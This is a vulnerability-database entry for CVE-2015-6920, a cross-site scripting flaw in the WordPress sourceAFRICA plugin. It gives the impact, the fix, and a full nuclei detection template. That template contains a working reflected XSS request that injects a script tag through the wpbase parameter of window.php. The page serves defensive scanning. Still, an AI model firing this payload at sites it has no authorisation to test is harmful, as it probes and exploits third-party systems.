HexBrain

Browse / CVEs / CVE-2015-6920

CVE-2015-6920· sourceafrica project / sourceafrica· CWE-79

WordPress sourceAFRICA <=0.1.3 - Cross-Site Scripting

mediumseverity
4.3CVSS score
3.8%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

WordPress sourceAFRICA plugin version 0.1.3 contains a cross-site scripting vulnerability.

Impact

Attackers can execute malicious scripts in the victim's browser, potentially stealing cookies or session tokens.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: GET /wp-content/plugins/sourceafrica/readme.txt
Positive when: contains "SourceAfrica" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/sourceafrica/js/window.php?wpbase=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "\"></script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2015-6920 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2015-6920

info:
  name: WordPress sourceAFRICA <=0.1.3 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress sourceAFRICA plugin version 0.1.3 contains a cross-site scripting vulnerability.
  impact: |
    Attackers can execute malicious scripts in the victim's browser, potentially stealing cookies or session tokens.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - http://packetstormsecurity.com/files/133371/WordPress-sourceAFRICA-0.1.3-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/8169
    - https://nvd.nist.gov/vuln/detail/CVE-2015-6920
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-6920
    cwe-id: CWE-79
    epss-score: 0.0384
    epss-percentile: 0.90208
    cpe: cpe:2.3:a:sourceafrica_project:sourceafrica:0.1.3:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "sourceafrica_project"
    product: sourceafrica
    framework: wordpress
  tags: cve2015,cve,wp-plugin,xss,packetstorm,wordpress,sourceafrica_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/sourceafrica/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'SourceAfrica'
          - 'Tags:'
        condition: and
        case-insensitive: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/sourceafrica/js/window.php?wpbase=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from